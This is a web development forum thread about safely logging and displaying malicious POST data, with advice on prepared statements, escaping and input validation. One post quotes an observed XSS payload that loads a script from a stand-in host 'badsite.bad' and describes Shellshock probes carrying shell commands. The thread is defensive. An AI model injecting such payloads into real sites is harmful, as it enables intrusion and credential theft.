Safely saving POST data for inspection

schwim

Heya everyone!

I've written a system that blocks malicious IPS temporarily on GET and URL exploits to keep them from hitting the site a couple hundred times in a minute's time. What I haven't handled yet is the bots/weasels that are trying to exploit the POST forms on my site. The ones I'm talking about are the guys that hit the search, login, category pages 20 or 30 times a night over and over again.

It seems to me that it would be quite unsafe to store this info in the database, since that's what they're trying to get into but I thought storing the POST data in a file would be a safe way to handle it.

I was hoping someone could explain a safe way to store this in the db or, if that's out of the question, a way to retrieve a particular line of information from a flatfile by ID. It would get stored like this:

1, 743, POST array

Where first number is the incremental ID, second is the related tracking entry in the database.

This would allow me to pull the related POST data when looking at the tracking entry in the admin panel to see what they're trying to do.

Any thoughts would be welcome!

laserlight

schwim wrote:
It seems to me that it would be quite unsafe to store this info in the database, since that's what they're trying to get into but I thought storing the POST data in a file would be a safe way to handle it.

I was hoping someone could explain a safe way to store this in the db

If you are taking the proper precautions against SQL injection and such, then I do not see how it would be unsafe to store the info in the database just because these attackers are trying to get to the other info stored in the database. If you are not taking such proper precautions, then your code is vulnerable wherever you store this additional data.

schwim wrote:
a way to retrieve a particular line of information from a flatfile by ID. It would get stored like this:

1, 743, POST array

Where first number is the incremental ID, second is the related tracking entry in the database.

If you really don't want to use your database for this, then you should reach for say, SQLite, or a key-value store like Berkeley DB or Redis.

schwim

laserlight;11045885 wrote:
If you are taking the proper precautions against SQL injection and such, then I do not see how it would be unsafe to store the info in the database just because these attackers are trying to get to the other info stored in the database. If you are not taking such proper precautions, then your code is vulnerable wherever you store this additional data.

Thanks very much for your thoughts, laserlight.

In your opinion, if I store in the db, should I be doing anything other than mysqli_real_escape_string and a substr to protect against too-long data of the POST array? Normally, I tailor my sanitation to what's expected, but in this case, it could be anything under the sun and I want to make sure it's still an understandable representation of what the tried so I can figure out how to detect it.

Derokorian

I would use prepared statements for all user input, no matter what you're expecting. Prepared statements are great, because you tell the server "Here's there query I plan on running, and (separately) here's the data that goes in the query"

Also, store the raw post data into a BLOB or TEXT field and you shouldn't have to worry about its length.

schwim

Thanks for all your help folks!

I think I managed to figure out how to handle it. I utilized real_escape in conjuction with serialize to store the array and then stripslashes and unserialize to get it ready for display. I used a foreach to put it in a table.

http://i.imgur.com/XFmU4na.png

laserlight

You should not be using stripslashes unless you call addslashes, but there's no reason for you to corrupt data by calling addslashes here.

schwim

I'm sorry I meant htmlspecialchars, not stripslashes. Here's my insert and retrieval:

$posted_data = mysqli_real_escape_string($link, (serialize($_POST)));

			$posted_data = unserialize($row_trk['posted_data']);
			foreach($posted_data AS $pd_key=>$pd_val) {
				$pd_key = htmlspecialchars($pd_key);
				$pd_val = htmlspecialchars($pd_val);
				$posted_table = $posted_table.'<tr><td>' .$pd_key. '</td><td>'. $pd_val. '</td></tr>';   

			}

sneakyimp

I'd like to point out that "safe" in this context has a variety of facets:
safe to insert into a db -- this is usually handled by using PDO (which automatically escapes data if used correctly) or by careful escaping of input data. Note that proper escaping must take into account the properties of the db connection so that chars which must be escaped are properly recognized.
safe to display - certain malicious coding attempts will try to display evil javascript or XSS. Even if you manage to store the evil data in a db or flat file, you might still want to take care before simply displaying the data in a browser. I think htmlspecialchars is probably quite helpful in this regard, but you might also consider displaying it in a text editor rather than a browser (e.g., use print_r($_POST, TRUE)).
* safe to process - by 'process' i mean feed the data to some other program or script which performs an operation on it.The worst thing you can do is [man]eval[/man] or [man]exec[/man] user input.

I think the very best defense against this evil programming is to validate user input. If you expect a number, use [man]is_numeric[man] on the user input before proceeding. If you want an email address, use [man]filter_var[/man] on it before proceeding. If you are using free-form user input and then displaying it on your website, then you probably have a much bigger task ahead of you to prevent malicious code, XSS, and spam. It's been my experience that running a site that displays user-generated content can be a real chore. Hackers will do everything under the sun to exploit your system.

schwim

sneakyimp;11045915 wrote:
I'd like to point out that "safe" in this context has a variety of facets:
safe to insert into a db -- this is usually handled by using PDO (which automatically escapes data if used correctly) or by careful escaping of input data. Note that proper escaping must take into account the properties of the db connection so that chars which must be escaped are properly recognized.
safe to display - certain malicious coding attempts will try to display evil javascript or XSS. Even if you manage to store the evil data in a db or flat file, you might still want to take care before simply displaying the data in a browser. I think htmlspecialchars is probably quite helpful in this regard, but you might also consider displaying it in a text editor rather than a browser (e.g., use print_r($_POST, TRUE)).
* safe to process - by 'process' i mean feed the data to some other program or script which performs an operation on it.The worst thing you can do is [man]eval[/man] or [man]exec[/man] user input.

This is exactly what I was referring to when asking the question initially. I just didn't word it well at all. The two reasons I'm doing this is as a learning experience and to lessen the server load. The part I've already implemented has taught me a bunch. A ton of the POST data is an attempt to find an unescaped input but I've seen some other things that have been very enlightening as well. It's going to help me a bunch to be able to implement more protections.

sneakyimp;11045915 wrote:
I think the very best defense against this evil programming is to validate user input. If you expect a number, use [man]is_numeric[man] on the user input before proceeding. If you want an email address, use [man]filter_var[/man] on it before proceeding. If you are using free-form user input and then displaying it on your website, then you probably have a much bigger task ahead of you to prevent malicious code, XSS, and spam. It's been my experience that running a site that displays user-generated content can be a real chore. Hackers will do everything under the sun to exploit your system.

I always do this on anything that can be manipulated, like GET, POST, form the best I can. checkboxes are substr'ed to 1 char and checked for ctype_digit. All inputs are cut to the allowable max length. Things like username and passwords are run through a filter to only allow certain characters. I do the best I can to narrow down what gets passed.

You've already put into words my fear of saving and displaying the POST array. I've done what I can think of to try to make it safe, but I'm continuing to read up on it to see if I can do more.

Thanks very much for taking the time to help!

sneakyimp

schwim;11045927 wrote:
This is exactly what I was referring to when asking the question initially. I just didn't word it well at all. The two reasons I'm doing this is as a learning experience and to lessen the server load. The part I've already implemented has taught me a bunch. A ton of the POST data is an attempt to find an unescaped input but I've seen some other things that have been very enlightening as well. It's going to help me a bunch to be able to implement more protections.

I'd be curious to see what types of attacks you are getting on your system. Not in any great detail, but it's sort of nice to see anecdotal evidence of actual hack attempts.

schwim;11045927 wrote:
I always do this on anything that can be manipulated, like GET, POST, form the best I can. checkboxes are substr'ed to 1 char and checked for ctype_digit. All inputs are cut to the allowable max length. Things like username and passwords are run through a filter to only allow certain characters. I do the best I can to narrow down what gets passed.

That sounds pretty thorough. As I understand it, injection exploits and overflow exploits are the risk you run with user input. Validation for content and length are your defenses.

schwim;11045927 wrote:
You've already put into words my fear of saving and displaying the POST array. I've done what I can think of to try to make it safe, but I'm continuing to read up on it to see if I can do more.

You may find The Mitre List of Dangerous Programming Errors interesting.

schwim;11045927 wrote:
Thanks very much for taking the time to help!

It's a relief to help with your posts after some of the boneheaded 'write my code for me' posts we get around here. Please do consider passing on the goodwill to some other deserving post.

schwim

sneakyimp;11045929 wrote:
I'd be curious to see what types of attacks you are getting on your system. Not in any great detail, but it's sort of nice to see anecdotal evidence of actual hack attempts.

Well, here's what I've seen and what my reading up on it leads me to believe they're trying to do:

Single and double quotes: looking for unescaped entry for common UNION attacks.

POST data of "x=()" and similar(often with shell commands in the parentheses). They are also modifying their User Agent. I looked this up and it's called the Shellshock exploit.

And I see a bunch of this type of thing: ?one_of_my_vars=<SCRIPT SRC='http://badsite.bad/badscript.php'></SCRIPT>. I have downloaded the files they're pointing to via wget and they're always encoded in various combinations of base64, rot13, hex, octal, etc. Once decoded, they're almost always a commonly available script-kiddie cookie-cutter server manipulation deal. Looking for user, mysql passwords and writable folders, things like that.

There's been some other stuff pop up, but I haven't figured out what, if anything they're trying to do. Oddly one IP keeps passing user/pass data on every single page they load.

sneakyimp;11045929 wrote:
That sounds pretty thorough. As I understand it, injection exploits and overflow exploits are the risk you run with user input. Validation for content and length are your defenses.

I did put a substr on the POST data for that reason. Even if they weren't exploiting a vulnerability, from my reading, it seems possible to cripple a server by simply giving it too much POST or GET data to chew on. I didn't think it safe to leave my POST capture uncut.

sneakyimp;11045929 wrote:
It's a relief to help with your posts after some of the boneheaded 'write my code for me' posts we get around here. Please do consider passing on the goodwill to some other deserving post.

There's so few people that know less than I do about this stuff. I am always checking the topics on this site while I work. My solutions to my own stuff feel so crude to me that I'm usually just worried about passing on bad habits and coding practices to someone else. Maybe I just need to help in the beginners section. This forum in general and about 5-10 core people in particular (you, brad, derok, laser, weed, nog, bonesnap and bpat come to mind) have pretty much got me from my "hello world" stage to where I'm at now. I'm still clueless for the most part, but I understand enough now to often solve my problems by Googling because I often know what to search for, where at the beginning I couldn't even articulate what I was trying to accomplish.

Thank you very much for the link. Reading it now.

sneakyimp

schwim;11045933 wrote:
Single and double quotes: looking for unescaped entry for common UNION attacks.

Obviously SQL injection. Should be handled by proper escaping of user input before insertion into query (or use of PDO/framework to auto-escape)

schwim;11045933 wrote:
POST data of "x=()" and similar(often with shell commands in the parentheses).

OK I don't really understand that this might accomplish?

schwim;11045933 wrote:
They are also modifying their User Agent. I looked this up and it's called the Shellshock exploit.

I can't imagine what one might accomplish by changing this except to see different representations of a site (e.g., you might be able to see how a site responds to googlebot).

schwim;11045933 wrote:
And I see a bunch of this type of thing: ?one_of_my_vars=<SCRIPT SRC='http://badsite.bad/badscript.php'></SCRIPT>. I have downloaded the files they're pointing to via wget and they're always encoded in various combinations of base64, rot13, hex, octal, etc. Once decoded, they're almost always a commonly available script-kiddie cookie-cutter server manipulation deal. Looking for user, mysql passwords and writable folders, things like that.

Obviously XSS. Solution: filter any user input before displaying on your site or use htmlspecialchars, etc..

schwim;11045933 wrote:
There's been some other stuff pop up, but I haven't figured out what, if anything they're trying to do. Oddly one IP keeps passing user/pass data on every single page they load.

I used to see a lot of buffer overflow attempts. These would be really long urls typically with very lengthy request urls where they try to overload some url aspect with too many chars.

schwim;11045933 wrote:
I did put a substr on the POST data for that reason. Even if they weren't exploiting a vulnerability, from my reading, it seems possible to cripple a server by simply giving it too much POST or GET data to chew on. I didn't think it safe to leave my POST capture uncut.

Yes, a buffer overflow exploit. I'm not sure which, if any, functions in PHP or its modules would be vulnerable to this. I would hope that Apache has at least protected its own core functions handling requests against such exploits.

schwim

sneakyimp;11045935 wrote:
OK I don't really understand that this might accomplish?

From what I understand, it's called the Shellshock exploit and it's used to exploit vulnerable bash versions on servers: https://blog.cloudflare.com/inside-shellshock/

I get the attempts in bursts and then in another month or so, the same type of burst, so I'm pretty sure it's just a script spinning through a list of domains.